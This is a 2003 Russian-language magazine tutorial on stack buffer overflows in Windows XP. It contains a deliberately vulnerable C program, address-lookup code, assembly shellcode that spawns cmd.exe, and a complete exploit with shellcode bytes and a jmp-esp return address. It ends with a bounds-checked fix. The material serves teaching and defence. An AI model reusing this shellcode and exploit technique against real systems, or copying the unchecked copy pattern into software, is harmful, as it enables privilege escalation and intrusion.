Гошко С.В., Переполнение буфера в Windows NT/2000/XP, Системный администратор, август 2003, стр.74-78
                 Переполнение буфера в Windows NT/2000/XP
						
Пусть говорят, что угодно поклонники *nix систем, но защита в последних версиях
операционных систем семейства Windows сделала громадный скачок вперёд.
И так как язык C и C++ очень распространены и на платформах Windows, то атаки
на переполнение буфера стали реальной угрозой безопасности. Атаки такого типа 
известны уже очень давно. Уже во время операции "Полуденный бес"-данная операция
проводилась в США начиная с мая 1990 года и была направлена против хакеров. Её 
проводила "Секретная Служба". Переполнение буфера, правда на операционные 
системы семейства *nix использовались хакерами по полной программе. 
Но реальная угроза данных атак на операционные системы семейства Windows встала
гораздо позднее 1995-2002.

Смысл атак на переполнение буфера заключается в том, что существуют программы
запущенные с большими привелегиями, чем у пользователя и благодаря переполнению
буфера для пользователя стало возможно эти привелегии (уязвимой программы)
получить.

Мы рассмотрим одну из самых распространённых атак на переполнение буфера это
так называемая атака на "срыв стэка".
В большинстве своём данные атаки возможны во многих программах написанных на
языке программирования C или C++.

Поэтому мы рассмотрим пример уязвимой программы, а так же разработаем для неё
эксплоит. Эксплоит это программа, которая реализует данную уязвимость.

Начнём с разработки простой программы содержащей данную уязвимость.

				Перейдём к листингу:

//------------------------------------------------------------------------------
#include 
#include 

void vuln_func(char *stroka)
{
      char buffer[100];          // буфер

      lstrcpyA(buffer,stroka);   // функция в результате вызывающая
                                 // переполнение буфера
}

void main (int argc, char *argv[])
{

    vuln_func(argv[1]);          // вызов уязвимой функции
    printf("Parameter is : %s",argv[1]);

}
//------------------------------------------------------------------------------

Откомпилируем её и выясним, что это программа делает. 
Если её запустить без параметров, то она выведет следующее: 

Parameter is : 0(null)

Запустим её следующим образом:

c:\x-files\bug.exe aaaaaaa

Тогда данная программа выведет:

Parameter is : aaaaaaa

Но если в качестве параметра передать количество "a" большее чем 100, то данная
программа просто ничего не выведет, в отличие от Windows NT, которая выводила
сообщение об ошибке. Поэтому реализовать атаку данного типа под операционной
системой Windows XP, будет несколько сложнее. 

Теперь давайте возьмём отладчик и посмотрим, что же происходит при вызове нашей
уязвимой функции.

		Будем рассматривать пошагово:

		1) При вызове функции vuln_func в стэк заносится 
		   адрес следующей инструкции (printf).
		   
		2) Рассмотрим вид стэка перед вызовом функции lstrcpyA
		
		   	|-----------------------------|
		   	|     ....................    |
		   	|-----------------------------|
		   	|       адрес возврата        |
		   	|-----------------------------|
		   	|       переменная buff       |
		   	|-----------------------------|
		   	|    .....................    |
		   	|-----------------------------|
		   	
		3) Рассмотрим вид стэка после вызова функции lstrcpyA
		
			|-----------------------------|
		   	|     "aaaaaaaaaaaaaaaaaaaa"  |
		   	|-----------------------------|
		   	|         0x61616161          |
		   	|-----------------------------|
		   	|       переменная buff       |
		   	|-----------------------------|
		   	|    .....................    |
		   	|-----------------------------|		
		   		
Так как наша переменная росла к адресу возврата и когда ей стало не хватать 
места она молча и без вопросов переписала адрес возврата нашими любимыми 
буквами - "aaaaaaaa.....".
Раз мы можем переписать адрес возврата значит мы можем и заставить нашу 
программу выполнять наш код.

Для этого вместо букв "a" мы будем использовать символ с кодом 90 ("\x90"),
что означает инструкцию ассемблера - nop (задержка процессора на один такт).
Так же нам необходимо точно определить, какими байтами (по счёту) 
перезаписывается адрес возврата, чтобы мы знали, куда записывать наш 
новый адрес возврата.

Обычно это делается методом "грубой силы", а потом по сообщению об ошибке 
определяются байты по которым был совершён переход. Но данный метод в нашем
случае не уместен, т.к. в Windows XP сообщение об ошибке не вываливается.
Поэтому нам прийдётся в ручную при помощи отладчика подсчитывать какие по счёту
nop'ы перетёрли адрес возврата, это не сложно и не трудоёмко, т.к. в стэке все
приравнивается к двойному слову (4 байта). В нашем случае это оказались 4 байта
начиная со 104.

Теперь когда мы знаем какими байтами перетирается адрес возврата мы должны 
подменить его таким образом, чтобы он передал управление нашему коду, а если
быть более точным, то он должен передать управление на наши nop'ы.
Реально очень удобно просто передать управление в отладчике на наши инструкции,
но если это удалённое переполнение буфера или у вас нет под рукой отладчика?
При помощи прямой подмены адреса на наш вычесленный адрес стэка, не получится, 
потому что адресс стэка начинается с нуля, а наш код не должен состоять из нулей.

Поэтому оптимальным вариантом будет обнаружить в памяти используемых программой
библиотек или в памяти самой программы обнаружить байты соответсвующие инструкции
"jmp esp" - ff e4. В статье Андрея Колищака [1], так же предлагался вариант 
использования инструкции "call esp", но с этим вариантом я должен не 
согласиться, так как при переходе на эту инструкцию с последующим её 
исполнением мы перетираем байты находящиеся по адресу esp, т.е. мы сами себе 
портим жизнь (при переходе на esp нам будет очень сложно запустить наш код). 
Поэтому оптимальным вариантом будет поиск в памяти байт "ff e4".
В результате поиска мы обнаружили данные байты в библиотеке USER32.dll и 
запомнили адрес (в каждой версии операционной системы он может быть отличным).

Теперь мы должны заняться формированием шелл кода - это будет строка Command 
Promt. Реально мы должны запустить программу cmd.exe. Чтобы не морочить вам
голову "кривыми" аналогами данной программы на C, начнём её писать сразу на 
ассемблере, но перед этим мы должны кое в чём разобраться.

1) Наш эксплоит будет зависеть от USER32.dll,что означает на других версиях
   операционной системы Windows XP по всей видимости он работать не будет

2) Исходя из пункта (1) мы видим, что не имеет смысла встраивать в наш шелл код
   обнаружение адреса ядра и функции GetProcAddress.
   
Поэтому для экономии места мы в экспоите жёстко зафиксируем адрес нужной нам
функции - WinExec.

Аналог того, что будет делать наш эксплоит на С будет выглядеть примерно так:

//------------------------------------------------------------------------------
#include 
void main()
{
	WinExec("cmd.exe",1);
}
//------------------------------------------------------------------------------

Для определения адресов функций, которые необходимы для корректной работы
эксплоита напишем ещё одну маленькую программку.

                               Рассмотрим листинг:

//------------------------------------------------------------------------------
#include "windows.h"
#include "stdio.h"

main(int argc, char *argv[])
{
    HMODULE hnd1;                    //
    FARPROC a;                       // Данные необходимые для работы программы
    char  *name1;                    //
    char *modul1;                    //

    printf("Usage GETADDR  \n"); 
                                     // Вывод сообщения об использовании
                                     // Утилиты
    if (argc < 3)                    //
    {                                // Если запущены без параметров, то выведем 
                                     // адреса
          name1="GetProcAddress";    // KERNEL32 и WIN API функции GetProcAddress
          modul1="KERNEL32";         //
    }                                //
    else                             // Если запущены с параметрами, 
                                     // то выведем по запросу
    {                                // пользователя
         name1=argv[2];
         modul1=argv[1];
    }

    hnd1=GetModuleHandle(modul1);    // Получаем адресс модуля
    a=GetProcAddress(hnd1,name1);    // Получаем адрес WIN API функции
    printf("Module=[%s] Address=%xh\n",modul1,hnd1); // Выводим оба 
    printf("Function=[%s] Address=%xh\n",name1,a);   // адреса

    return(0);                       // Выход из программы
}
//------------------------------------------------------------------------------

При помощи данной программы мы должны определить адреса следующих WIN API функций

		- WinExec
		- ExitProcess
		
Данные функции находятся в ядре (kernel32.dll).
		
        
Вот теперь мы готовы перейти к разработке шелл кода на ассемблере.
Наш шелл код не будет использовать шифрование текстовых строк, так как в нём 
будет только одна текстовая строка с финальным нулём, так же мы не должны 
использовать в тексте кода нулей, опять же таки из-за особенностей стэка.

                             Рассмотрим листинг:
								
;------------------------------------------------------------------------------;
.386                            
.model flat, stdcall            
                               
extrn ExitProcess:proc          
                               
                               
.data                          
start:           

;---------------[ SUPA SHELL CODE]---------------------------------------------;

nach:
		push 1              ; Параметр для вызова WinExec
		mov  esi,esp        ; Устанавливаем esi на стэк
try:
		lodsd               ; Ищем текстовую строку 
		cmp  eax,012345678h ; с именем программы
		jne  try            ;
		
		push esi            ; Нашли положим смещение в стэк
		mov  eax,77e684c6h  ; Ложим в eax адрес функции
		call eax            ; Вызываем WinExec -> cmd.exe

		nop                 ; Эти nop'ы для выравнивания
		nop                 ; на границу двойного слова

		xor  eax,eax        ; Обнуляем eax
		push eax            ; Ложим 0 в стэк (параметр)
		mov  eax,77e75cb5h  ; Ложим в eax адрес функции
		call eax            ; Call ExitProcess
name1:
		dd   012345678h     ; "Метка" имени программы
		db   'cmd.exe',0    ; Имя программы
kon:
;------------------------------------------------------------------------------;
.code
     		nop            
end start                                  
end                                         
;------------------------------------------------------------------------------;

Теперь после всех этих изнурительных подготовительных действий мы готовы 
написать эксплоит использующий уязвимость в нашей программе.

			Переходим к листингу эксплоита:
							
//------------------------------------------------------------------------------
#include 
#include 

void main (int argc, char *argv[])
{
   char *shell1=
   "\x6a\x01\x8b\xf4\xad\x3d\x78\x56\x34\x12\x75\xf8\x56\xb8\xc6\x84"
   "\xe6\x77\xff\xd0\x90\x90\x33\xc0\x50\xb8\xb5\x5c\xe7\x77\xff\xd0"
   "\x78\x56\x34\x12\x63\x6d\x64\x2e\x65\x78\x65";

    char mass[152];
    char buff[160]="BUG.EXE ";

    memset(mass,'\x90',104);         // n0p's
    strcat(mass,"\x4a\x75\xd7\x77"); // n0p's + jmp esp
    strcat(mass,shell1);             // n0p's + jmp esp + shell_c0de

    strcat(buff,mass);               //  file_name + n0p's + jmp esp + shell_c0de
    WinExec(buff,1);
}
//------------------------------------------------------------------------------

В начале данного эксплоита идёт описание переменных и в том числе там есть наш
шелл код и имя уязвимого файла. Далее мы формируем строку:

	- ложим туда 104 nop'а (на самом деле туда можно положить всё что
	  душе угодно, так как управление будет передаваться всё равно за
	  адрес возврата)
			
	- Затем в эту строку добавляем адрес инструкции "jmp esp"
			
	- И только после этого адреса в строку помещаем наш шелл код
			
	- В переменную buff к имени файла добавляется наша строка с nop'ами
	  с новым адресом возврата и с шелл кодом
			  
После того, как строка запуска программы передаётся в функцию WinExec.
Мы получаем нашу долгожданную и любимую консоль.

Реально наша программа была запущена прмерно следующим образом:

c:\x-files\bug.exe PPPPPPPPPPPPPPPP...РР[new_addr][shell_c0de]
Где new_addr - это новый адрес возврата, а shell_c0de - это наш шелл код.

Так же в завершении статьи необходимо сказать, что существует возможность
поиска адреса кернела в памяти, но в данном случае это не уместно, так как
эксплоит получился зависимым от версии операционной системы.
Вот если бы мы необходимую нам как воздух инструкцию(jmp esp) обнаружили в самой
программе, то это было бы просто необходимо и тогда бы наш эксплоит получился
не зависимым от операционной системы.

Существует возможность "сбрасывания" не только локальной консоли, но и 
удалённой. Шелл код для такого рода backdoor'a был написанн неким dark spyrit и
опубликованн во всем известном журнале "Phrack".

		Стоит перечислить несколько уязвимых функций:
				
	- strcpy
	- strcat				
	- sprintf
	- gets
	
		И их аналоги адаптированные под Windows системы
	
	- lstrcpyA
	- lstrcatA
	
Атаки данного типа представляют серьёзную угрозу. Для того чтобы от них 
защититься, всегда необходимо проверять, чтобы размер приёмника был больше 
того, что в него помещается. Для примера мы исправим нашу уязвимую программу.
Так чтобы она не была подвержена данной атаке.

				Перейдём к листингу:
								
//------------------------------------------------------------------------------
#include 
#include 

void vuln_func(char *stroka)
{
  char buffer[100];                   // буфер
  if (sizeof(buffer)>strlen(stroka))  // !!!!!!!!!!!!!!!!!!!!!
      lstrcpyA(buffer,stroka);        // функция в результате вызывающая
                                      // переполнение буфера
}

void main (int argc, char *argv[])
{

    vuln_func(argv[1]);               // вызов уязвимой функции
    printf("Parameter is : %s",argv[1]);

}
//------------------------------------------------------------------------------
								
Строка отмеченная восклицательными знаками проверяет соответствие 
размеров строк. Что предотвращает возможность переполнения буфера в данной 
программе.

Таким образом мы рассмотрели одну из самых распространённых хакерских атак в 
применении к Windows XP, а так же возможности её предотвращения.

		При написании статьи использовались материалы:

[1] "Атаки на переполнение стека в Windows NT" Андрей Колищак

[2] "Smashing The Stack For Fun And Profit" by Aleph1
--------------------------------------------------------------------------------
... Dis Is Cheat of Mind ...
                                                                       slon 2002